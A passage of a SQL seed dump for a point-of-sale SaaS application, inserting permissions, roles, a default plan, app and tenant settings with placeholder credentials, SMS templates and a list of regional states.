'2025-07-24 03:47:23'), (51, 'view_expenses', 'View Expenses', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (52, 'delete_expenses', 'Delete Expenses', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (53, 'edit_setting', 'Edit Setting', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (54, 'view_dashboard', 'View Dashboard', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (55, 'view_pos_screen', 'View Pos Screen', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (56, 'create_purchase', 'Create Purchase', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (57, 'edit_purchase', 'Edit Purchase', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (58, 'view_purchase', 'View Purchase', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (59, 'delete_purchase', 'Delete Purchase', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (60, 'create_sale', 'Create Sale', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (61, 'edit_sale', 'Edit Sale', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (62, 'view_sale', 'View Sale', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (63, 'delete_sale', 'Delete Sale', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (64, 'create_purchase_return', 'Create Purchase Return', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (65, 'edit_purchase_return', 'Edit Purchase Return', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (66, 'view_purchase_return', 'View Purchase Return', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (67, 'delete_purchase_return', 'Delete Purchase Return', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (68, 'create_sale_return', 'Create Sale Return', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (69, 'edit_sale_return', 'Edit Sale Return', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (70, 'view_sale_return', 'View Sale Return', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (71, 'delete_sale_return', 'Delete Sale Return', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (72, 'edit_email_templates', 'Edit Email Templates', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (73, 'edit_reports', 'Edit Reports', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (74, 'create_quotations', 'Create Quotations', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (75, 'edit_quotations', 'Edit Quotations', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (76, 'view_quotations', 'View Quotations', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (77, 'delete_quotations', 'Delete Quotations', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (78, 'edit_sms_templates', 'Edit Sms Templates', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (79, 'edit_sms_apis', 'Edit Sms Apis', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (80, 'create_variations', 'Create Variations', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (81, 'edit_variations', 'Edit Variations', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (82, 'view_variations', 'View Variations', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (83, 'delete_variations', 'Delete Variations', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (84, 'manage_adjustments', 'Manage Adjustments', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (85, 'manage_transfers', 'Manage Transfers', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (86, 'manage_roles', 'Manage Roles', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (87, 'manage_brands', 'Manage Brands', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (89, 'manage_warehouses', 'Manage Warehouses', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (90, 'manage_units', 'Manage Units', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (91, 'manage_product_categories', 'Manage Product Categories', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (92, 'manage_products', 'Manage Products ', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (93, 'manage_suppliers', 'Manage Suppliers', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (94, 'manage_customers', 'Manage Customers', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (95, 'manage_users', 'Manage Users', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (96, 'manage_expense_categories', 'Manage Expense Categories', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (97, 'manage_expenses', 'Manage Expenses', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (98, 'manage_setting', 'Manage Setting', 'web', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (99, 'manage_dashboard', 'Manage Dashboard', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (100, 'manage_pos_screen', 'Manage Pos Screen', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (101, 'manage_purchase', 'Manage Purchase', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (102, 'manage_sale', 'Manage Sale', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (103, 'manage_purchase_return', 'Manage Purchase Return', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (104, 'manage_sale_return', 'Manage Sale Return', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (105, 'manage_email_templates', 'Manage Email Templates', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (106, 'manage_reports', 'Manage Reports', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (107, 'manage_quotations', 'Manage Quotations', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (108, 'manage_sms_templates', 'Manage Sms Templates', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (109, 'manage_sms_apis', 'Manage Sms Apis', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (111, 'manage_variations', 'Manage Variations', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'); INSERT INTO `plan_features` (`id`, `plan_id`, `pos_management`, `reports`, `emails_support`, `sms_support`, `inventory_management`, `adjustments`, `roles_permission`, `created_at`, `updated_at`) VALUES (1, 1, 1, 1, 1, 1, 1, 1, 1, '2025-07-24 03:47:26', '2025-07-24 03:47:26'); INSERT INTO `plans` (`id`, `currency_id`, `no_of_stores`, `name`, `price`, `frequency`, `assign_while_register`, `trial_days`, `created_at`, `updated_at`) VALUES (1, 1, 1, 'Default Plan', 0, 1, 1, NULL, '2025-07-24 03:47:26', '2025-07-24 03:47:26'); INSERT INTO `role_has_permissions` (`permission_id`, `role_id`) VALUES (1, 2), (2, 2), (3, 2), (4, 2), (5, 2), (6, 2), (7, 2), (8, 2), (9, 2), (10, 2), (11, 2), (12, 2), (13, 2), (14, 2), (15, 2), (16, 2), (17, 2), (18, 2), (19, 2), (20, 2), (21, 2), (22, 2), (23, 2), (24, 2), (25, 2), (26, 2), (27, 2), (28, 2), (29, 2), (30, 2), (31, 2), (32, 2), (33, 2), (34, 2), (35, 2), (36, 2), (37, 2), (38, 2), (39, 2), (40, 2), (41, 2), (42, 2), (43, 2), (44, 2), (45, 2), (46, 2), (47, 2), (48, 2), (49, 2), (50, 2), (51, 2), (52, 2), (53, 2), (54, 2), (55, 2), (56, 2), (57, 2), (58, 2), (59, 2), (60, 2), (61, 2), (62, 2), (63, 2), (64, 2), (65, 2), (66, 2), (67, 2), (68, 2), (69, 2), (70, 2), (71, 2), (72, 2), (73, 2), (74, 2), (75, 2), (76, 2), (77, 2), (78, 2), (79, 2), (80, 2), (81, 2), (82, 2), (83, 2), (84, 2), (85, 2), (86, 2), (87, 2), (89, 2), (90, 2), (91, 2), (92, 2), (93, 2), (94, 2), (95, 2), (96, 2), (97, 2), (98, 2), (99, 2), (100, 2), (101, 2), (102, 2), (103, 2), (104, 2), (105, 2), (106, 2), (107, 2), (108, 2), (109, 2), (111, 2); INSERT INTO `roles` (`id`, `name`, `tenant_id`, `display_name`, `guard_name`, `created_at`, `updated_at`) VALUES (1, 'superadmin', NULL, 'Super Admin', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'), (2, 'admin', NULL, ' Admin', 'web', '2025-07-24 03:47:26', '2025-07-24 03:47:26'); INSERT INTO `sadmin_settings` (`id`, `key`, `value`, `created_at`, `updated_at`) VALUES (1, 'hero_image', 'images/default/hero-img.png', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (2, 'hero_title', 'Seamless Cloud-Based Warehouse & Inventory Management', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (3, 'hero_description', 'Effortlessly manage multiple warehouses with a powerful, cloud-based POS system. Track inventory, streamline operations, and optimize sales across all locations in real time.', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (4, 'partner_main_title', 'Trusted by Top Businesses', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (5, 'partner_description', 'POS simplifies multi-warehouse management with advanced tracking, real-time inventory updates, and seamless operations. Join businesses that rely on our technology for smarter and more efficient stock control.', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (6, 'contact_us_main_title', 'Get in Touch with Us', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (7, 'contact_us_description', 'Interested in learning more about POS, requesting a quote, or speaking with an expert? Let us know your needs, and we’ll get back to you soon.', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (8, 'facebook', 'https://facebook.com/', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (9, 'twitter', 'https://x.com/', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (10, 'linkedin', 'https://linkedin.com/', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (11, 'email', 'contact@infyom.com', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (12, 'logo', 'images/logo.png', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (13, 'company_name', 'infy-pos', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (14, 'app_name', 'InfyPOS SaaS', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (15, 'phone', '+91 70963 36561', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (16, 'footer', 'All rights reserved by InfyOm Technologies', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (17, 'country', 'India', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (18, 'state', 'Gujarat', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (19, 'city', 'Surat', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (20, 'postcode', '395007', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (21, 'address', 'C-303, Atlanta Shopping Mall, Nr. Sudama Chowk, Mota Varachha, Surat, Gujarat, India.', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (22, 'show_version_on_footer', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (23, 'show_app_name_in_sidebar', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (24, 'mail_mailer', 'smtp', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (25, 'mail_host', 'mailtrap.io', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (26, 'mail_port', '2525', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (27, 'sender_name', 'support@infypos.com', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (28, 'mail_username', 'test', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (29, 'mail_password', 'test', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (30, 'mail_from_address', 'support@infypos.com', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (31, 'mail_encryption', 'tls', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (32, 'manual_payment_enabled', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (33, 'manual_payment_guide', 'We will approve your request within 24 hours.', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (34, 'term_and_condition', 'Terms and condition', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (35, 'privacy_policy', 'Privacy Policy', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (36, 'refund_policy', 'Refund Policy', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (37, 'admin_default_currency_symbol', '₹', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (38, 'admin_default_currency', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (39, 'testimonial_main_title', 'Customers Who Choose POS-SaaS', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (40, 'hero_button_title', 'Launch Your Store Today', '2025-07-24 03:47:27', '2025-07-24 03:47:27'); INSERT INTO `services` (`id`, `title`, `description`, `created_at`, `updated_at`) VALUES (1, 'Real-Time Inventory', 'Effortlessly track stock levels across multiple warehouses in real time with our cloud-based system. Get automated inventory updates to prevent overstocking or stockouts and ensure smooth operations at every location.', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (2, 'Easy Transfers', 'Easily transfer stock between warehouses with just a few clicks. Update inventory adjustments instantly to maintain accuracy and prevent discrepancies across different locations.', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (3, 'Sales & Purchases', 'Stay on top of your purchases and sales across multiple warehouses. Monitor transactions, analyze sales data, and optimize inventory levels to meet customer demand efficiently.', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (4, 'User Access Control', 'Enhance security and efficiency by assigning custom roles and permissions to your team. Ensure only authorized staff can make inventory adjustments, process transactions, or access critical data.', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (5, 'Flexible Payments', 'Offer seamless transactions with support for Stripe, Razorpay, PayPal, and manual payments. Provide flexible and secure payment solutions for customers, vendors, and suppliers.', '2025-07-24 03:47:24', '2025-07-24 03:47:24'); INSERT INTO `settings` (`id`, `tenant_id`, `key`, `value`, `created_at`, `updated_at`) VALUES (1, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'currency', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (2, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'is_currency_right', '0', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (3, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'default_customer', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (4, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'default_warehouse', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (5, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'date_format', 'y-m-d', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (6, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'country', 'India', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (7, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'state', 'Gujarat', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (8, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'city', 'Surat', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (9, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'purchase_code', 'PU', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (10, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'purchase_return_code', 'PR', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (11, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'sale_code', 'SA', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (12, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'sale_return_code', 'SR', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (13, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'expense_code', 'EX', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (14, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'show_note', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (15, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'show_phone', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (16, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'show_customer', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (17, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'show_address', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (18, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'show_email', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (19, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'show_tax_discount_shipping', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (20, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'show_barcode_in_receipt', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (21, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'show_logo_in_receipt', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (22, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'show_product_code', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (23, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'notes', 'Thanks for order', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (24, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'show_warehouse', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (25, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'stripe_key', 'pu_test_yBzA1qI1PcfRBAVn1vJG2VuS00HcyhQX9LASERTFDDS', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (26, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'stripe_secret', 'pu_test_yBzA1qI1PcfRBAVn1vJG2VuS00HcyhQX9LASERTFDDS', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (27, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'sms_gateway', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (28, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'twillo_sid', 'asd', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (29, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'twillo_token', 'asd', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (30, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'twillo_from', 'asd', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (31, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'smtp_host', 'mailtrap.io', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (32, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'smtp_port', '2525', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (33, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'smtp_username', 'test', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (34, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'smtp_password', 'test', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (35, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'smtp_Encryption', 'tls', '2025-07-24 03:47:27', '2025-07-24 03:47:27'); INSERT INTO `sms_settings` (`id`, `tenant_id`, `key`, `value`, `created_at`, `updated_at`) VALUES (1, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'url', 'http://test.com/api/test.php', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (2, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'mobile_key', '', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (3, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'message_key', '', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (4, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'payload', '', '2025-07-24 03:47:27', '2025-07-24 03:47:27'); INSERT INTO `sms_templates` (`id`, `tenant_id`, `template_name`, `content`, `type`, `created_at`, `updated_at`, `status`) VALUES (1, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'GREETING TO CUSTOMER ON SALES !', 'Hi {customer_name}, Your sales Id is {sales_id}, Sales Date {sales_date}, Total Amount {sales_amount}, You have paid {paid_amount}, and customer total due amount is {due_amount} Thank you visit again', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27', 0), (2, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'GREETING TO CUSTOMER ON SALES RETURN !', 'Hi {customer_name}, Your sales return Id is {sales_return_id}, Sales return Date {sales_return_date}, and Total Amount is {sales_return_amount} Thank you visit again', '2', '2025-07-24 03:47:27', '2025-07-24 03:47:27', 0); INSERT INTO `states` (`id`, `name`, `country_id`, `created_at`, `updated_at`) VALUES (1, 'Andaman and Nicobar Islands', 101, NULL, NULL), (2, 'Andhra Pradesh', 101, NULL, NULL), (3, 'Arunachal Pradesh', 101, NULL, NULL), (4, 'Assam', 101, NULL, NULL), (5, 'Bihar', 101, NULL, NULL), (6, 'Chandigarh', 101, NULL, NULL), (7, 'Chhattisgarh', 101, NULL, NULL), (8, 'Dadra and Nagar Haveli', 101, NULL, NULL), (9, 'Daman and Diu', 101, NULL, NULL), (10, 'Delhi', 101, NULL, NULL), (11, 'Goa', 101, NULL, NULL), (12, 'Gujarat', 101, NULL, NULL), (13, 'Haryana', 101, NULL, NULL), (14, 'Himachal Pradesh', 101, NULL, NULL), (15, 'Jammu and Kashmir', 101, NULL, NULL), (16, 'Jharkhand', 101, NULL, NULL), (17, 'Karnataka', 101, NULL, NULL), (19, 'Kerala', 101, NULL, NULL), (20, 'Lakshadweep', 101, NULL, NULL), (21, 'Madhya Pradesh', 101, NULL, NULL), (22, 'Maharashtra', 101, NULL, NULL), (23, 'Manipur', 101, NULL, NULL), (24, 'Meghalaya', 101, NULL, NULL), (25, 'Mizoram', 101, NULL, NULL), (26, 'Nagaland', 101, NULL, NULL), (29, 'Odisha', 101, NULL, NULL), (31, 'Pondicherry', 101, NULL, NULL), (32, 'Punjab', 101, NULL, NULL), (33, 'Rajasthan', 101, NULL, NULL), (34, 'Sikkim', 101, NULL, NULL), (35, 'Tamil Nadu', 101, NULL, NULL), (36, 'Telangana', 101, NULL, NULL), (37, 'Tripura', 101, NULL, NULL), (38, 'Uttar Pradesh', 101, NULL, NULL), (39, 'Uttarakhand', 101, NULL, NULL), (41, 'West Bengal', 101, NULL, NULL), (42, 'Badakhshan', 1, NULL, NULL), (43, 'Badgis', 1, NULL, NULL), (44, 'Baglan', 1, NULL, NULL), (45, 'Balkh', 1, NULL, NULL), (46, 'Bamiyan', 1, NULL, NULL), (47, 'Farah', 1, NULL, NULL), (48, 'Faryab', 1, NULL, NULL), (49, 'Gawr', 1, NULL, NULL), (50, 'Gazni', 1, NULL, NULL), (51, 'Herat', 1, NULL, NULL), (52, 'Hilmand', 1, NULL, NULL), (53, 'Jawzjan', 1, NULL, NULL), (54, 'Kabul', 1, NULL, NULL), (55, 'Kapisa', 1, NULL, NULL), (56, 'Khawst', 1, NULL, NULL), (57, 'Kunar', 1, NULL, NULL), (58, 'Lagman', 1, NULL, NULL), (59, 'Lawghar', 1, NULL, NULL), (60, 'Nangarhar', 1, NULL, NULL), (61, 'Nimruz', 1, NULL, NULL), (62, 'Nuristan', 1, NULL, NULL), (63, 'Paktika', 1, NULL, NULL), (64, 'Paktiya', 1, NULL, NULL), (65, 'Parwan', 1, NULL, NULL), (66, 'Qandahar', 1, NULL, NULL), (67, 'Qunduz', 1, NULL, NULL), (68, 'Samangan', 1, NULL, NULL), (69, 'Sar-e Pul', 1, NULL, NULL), (70, 'Takhar', 1, NULL, NULL), (71, 'Uruzgan', 1, NULL, NULL), (72, 'Wardag', 1, NULL, NULL), (73, 'Zabul', 1, NULL, NULL), (74, 'Berat', 2, NULL, NULL), (75, 'Bulqize', 2, NULL, NULL), (76, 'Delvine', 2, NULL, NULL), (77, 'Devoll', 2, NULL, NULL), (78, 'Dibre', 2, NULL, NULL), (79, 'Durres', 2, NULL, NULL), (80, 'Elbasan', 2, NULL, NULL), (81, 'Fier', 2, NULL, NULL), (82, 'Gjirokaster', 2, NULL, NULL), (83, 'Gramsh', 2, NULL, NULL), (84, 'Has', 2, NULL, NULL), (85, 'Kavaje', 2, NULL, NULL), (86, 'Kolonje', 2, NULL, NULL), (87, 'Korce', 2, NULL, NULL), (88, 'Kruje', 2, NULL, NULL), (89, 'Kucove', 2, NULL, NULL), (90, 'Kukes', 2, NULL, NULL), (91, 'Kurbin', 2, NULL, NULL), (92, 'Lezhe', 2, NULL, NULL), (93, 'Librazhd', 2, NULL, NULL), (94, 'Lushnje', 2, NULL, NULL), (95, 'Mallakaster', 2, NULL, NULL), (96, 'Malsi e Madhe', 2, NULL, NULL), (97, 'Mat', 2, NULL, NULL), (98, 'Mirdite', 2, NULL, NULL), (99, 'Peqin', 2, NULL, NULL), (100, 'Permet', 2, NULL, NULL), (101, 'Pogradec', 2, NULL, NULL), (102, 'Puke', 2, NULL, NULL), (103, 'Sarande', 2, NULL, NULL), (104, 'Shkoder', 2, NULL, NULL), (105, 'Skrapar', 2, NULL, NULL), (106, 'Tepelene', 2, NULL, NULL), (107, 'Tirane', 2, NULL, NULL), (108, 'Tropoje', 2, NULL, NULL), (109, 'Vlore', 2, NULL, NULL), (110, 'Ayn Daflah', 3, NULL, NULL), (111, 'Ayn Tamushanat', 3, NULL, NULL), (112, 'Adrar', 3, NULL, NULL), (113, 'Algiers', 3, NULL, NULL), (114, 'Annabah', 3, NULL, NULL), (115, 'Bashshar', 3, NULL, NULL), (116, 'Batnah', 3, NULL, NULL), (117, 'Bijayah', 3, NULL, NULL), (118, 'Biskrah', 3, NULL, NULL), (119, 'Blidah', 3, NULL, NULL), (120, 'Buirah', 3, NULL, NULL), (121, 'Bumardas', 3, NULL, NULL), (122, 'Burj Bu Arririj', 3, NULL, NULL), (123, 'Ghalizan', 3, NULL, NULL), (124, 'Ghardayah', 3, NULL, NULL), (125, 'Ilizi', 3, NULL, NULL), (126, 'Jijili', 3, NULL, NULL), (127, 'Jilfah', 3, NULL, NULL), (128, 'Khanshalah', 3, NULL, NULL), (129, 'Masilah', 3, NULL, NULL), (130, 'Midyah', 3, NULL, NULL), (131, 'Milah', 3, NULL, NULL), (132, 'Muaskar', 3, NULL, NULL), (133, 'Mustaghanam', 3, NULL, NULL), (134, 'Naama', 3, NULL, NULL), (135, 'Oran', 3, NULL, NULL), (136, 'Ouargla', 3, NULL, NULL), (137, 'Qalmah', 3, NULL, NULL), (138, 'Qustantinah', 3, NULL, NULL), (139, 'Sakikdah', 3, NULL, NULL), (140, 'Satif', 3, NULL, NULL), (141, 'Sayda', 3, NULL, NULL), (142, 'Sidi ban-al-\'\'Abbas', 3, NULL, NULL), (143, 'Suq Ahras', 3, NULL, NULL), (144, 'Tamanghasat', 3, NULL, NULL), (145, 'Tibazah', 3, NULL, NULL), (146, 'Tibissah', 3, NULL, NULL), (147, 'Tilimsan', 3, NULL, NULL), (148, 'Tinduf', 3, NULL, NULL), (149, 'Tisamsilt', 3, NULL, NULL), (150, 'Tiyarat', 3, NULL, NULL), (151, 'Tizi Wazu', 3, NULL, NULL), (152, 'Umm-al-Bawaghi', 3, NULL, NULL), (153, 'Wahran', 3, NULL, NULL), (154, 'Warqla', 3, NULL, NULL), (155, 'Wilaya d Alger', 3, NULL, NULL), (156, 'Wilaya de Bejaia', 3, NULL, NULL), (157, 'Wilaya de Constantine', 3, NULL, NULL), (158, 'al-Aghwat', 3, NULL, NULL), (159, 'al-Bayadh', 3, NULL, NULL), (160, 'al-Jaza\'\'ir', 3, NULL, NULL), (161, 'al-Wad', 3, NULL, NULL), (162, 'ash-Shalif', 3, NULL, NULL), (163, 'at-Tarif', 3, NULL, NULL), (164, 'Eastern', 4, NULL, NULL), (165, 'Manu\'\'a', 4, NULL, NULL), (166, 'Swains Island', 4, NULL, NULL), (167, 'Western', 4, NULL, NULL), (168, 'Andorra la Vella', 5, NULL, NULL), (169, 'Canillo', 5, NULL, NULL), (170, 'Encamp', 5, NULL, NULL), (171, 'La Massana', 5, NULL, NULL), (172, 'Les Escaldes', 5, NULL, NULL), (173, 'Ordino', 5, NULL, NULL), (174, 'Sant Julia de Loria', 5, NULL, NULL), (175, 'Bengo', 6, NULL, NULL), (176, 'Benguela', 6, NULL, NULL), (177, 'Bie', 6, NULL, NULL), (178, 'Cabinda', 6, NULL, NULL), (179, 'Cunene', 6, NULL, NULL), (180, 'Huambo', 6, NULL, NULL), (181, 'Huila', 6, NULL, NULL), (182, 'Kuando-Kubango', 6, NULL, NULL), (183, 'Kwanza Norte', 6, NULL, NULL), (184, 'Kwanza Sul', 6, NULL, NULL), (185, 'Luanda', 6, NULL, NULL), (186, 'Lunda Norte', 6, NULL, NULL), (187, 'Lunda Sul', 6, NULL, NULL), (188, 'Malanje', 6, NULL, NULL), (189, 'Moxico', 6, NULL, NULL), (190, 'Namibe', 6, NULL, NULL), (191, 'Uige', 6, NULL, NULL), (192, 'Zaire', 6, NULL, NULL), (193, 'Other Provinces', 7, NULL, NULL), (194, 'Sector claimed by Argentina/Ch', 8, NULL, NULL), (195, 'Sector claimed by Argentina/UK', 8, NULL, NULL), (196, 'Sector claimed by Australia', 8, NULL, NULL), (197, 'Sector claimed by France', 8, NULL, NULL), 